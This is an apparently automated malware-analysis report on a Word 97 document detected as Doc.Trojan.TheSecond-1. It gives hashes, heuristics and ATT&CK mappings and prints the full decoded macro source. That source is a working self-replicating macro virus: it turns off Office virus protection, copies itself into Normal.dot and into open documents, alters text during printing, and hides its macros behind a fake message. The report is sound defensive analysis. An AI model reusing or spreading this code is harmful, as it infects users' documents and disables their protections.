Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 78f4ad773b6903ac…

MALICIOUS

Office (OLE)

29.0 KB Created: 2002-04-16 19:26:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 2569b13055fdbaf0db3271a36d019dd3 SHA-1: 5e81046b07c4acb1512265f77a0af69291e91bd7 SHA-256: 78f4ad773b6903acc2a79829cc1540125abd53e2e9e31736a762aa4b3840cc11
188 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample contains legacy WordBasic macro markers and an Auto_Close macro within the 'macros.bas' script. This macro attempts to export and import the 'TheSecond' macro component into the Normal.dot template, indicating an attempt to infect the template for persistence or propagation. The ClamAV detection 'Doc.Trojan.TheSecond-1' further supports its malicious nature.

Heuristics 5

  • ClamAV: Doc.Trojan.TheSecond-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.TheSecond-1
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION
    VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
    Matched line in script
      Options.VirusProtection = False
  • Auto_Close macro low OLE_VBA_AUTOCLOSE
    Auto_Close macro
    Matched line in script
    Sub AutoClose()
  • Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUS
    OLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2487 bytes
SHA-256: b200f33c9425a554e88bc0582bb43377a97221af0236433a35671f72254bafeb
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "TheSecond"
Sub AutoClose()
  Copyrights = "The Second, 2000"
  NickName = "Revenger"
  Options.VirusProtection = False
  flag = False
  If Documents.Count >= 1 Then
    counter = NormalTemplate.VBProject.VBComponents.Count
    For i = 1 To counter
      If NormalTemplate.VBProject.VBComponents.Item(i).Name = "TheSecond" Then flag = True
    Next i
    x = Application.StartupPath + "\TheSecond.tmp"
    If Not flag Then
      ActiveDocument.VBProject.VBComponents("TheSecond").Export (x)
      NormalTemplate.VBProject.VBComponents.Import (x)
    End If
    flag = False
    infected = False
    havesave = ActiveDocument.Saved
    For i = 1 To ActiveDocument.VBProject.VBComponents.Count
      If ActiveDocument.VBProject.VBComponents.Item(i).Name = "TheSecond" Then flag = True
    Next i
    If Not flag Then
      NormalTemplate.VBProject.VBComponents("TheSecond").Export (x)
      ActiveDocument.VBProject.VBComponents.Import (x)
      infected = True
    End If
    If havesave And infected And (Left(ActiveDocument.Name, 8) <> "Документ") Then
      Dialogs(wdDialogFileSaveAs).Execute
    End If
    ActiveDocument.Saved = havesave
  End If
End Sub
Sub FilePrint()
  Selection.Find.ClearFormatting
  Selection.Find.Replacement.ClearFormatting
  With Selection.Find
    .Text = "Нюбин"
    .Replacement.Text = "Нудин"
    .Forward = True
    .Wrap = wdFindContinue
    .Format = False
    .MatchCase = False
    .MatchWholeWord = False
    .MatchWildcards = False
  End With
  Selection.Find.Execute Replace:=wdReplaceAll
пол Dialogs(wdDialogFilePrint).Show
  Selection.Find.ClearFormatting
  Selection.Find.Replacement.ClearFormatting
  With Selection.Find
    .Text = "Нудин"
    .Replacement.Text = "Нюбин"
    .Forward = True
    .Wrap = wdFindContinue
    .Format = False
    .MatchCase = False
    .MatchWholeWord = False
    .MatchWildcards = False
  End With
  Selection.Find.Execute Replace:=wdReplaceAll
End Sub
Sub ToolsMacro()
  Dialogs(wdDialogToolsMacro).Display
End Sub
Sub ViewVBCode()
  MsgBox ("Нет загруженных макросов!")
End Sub

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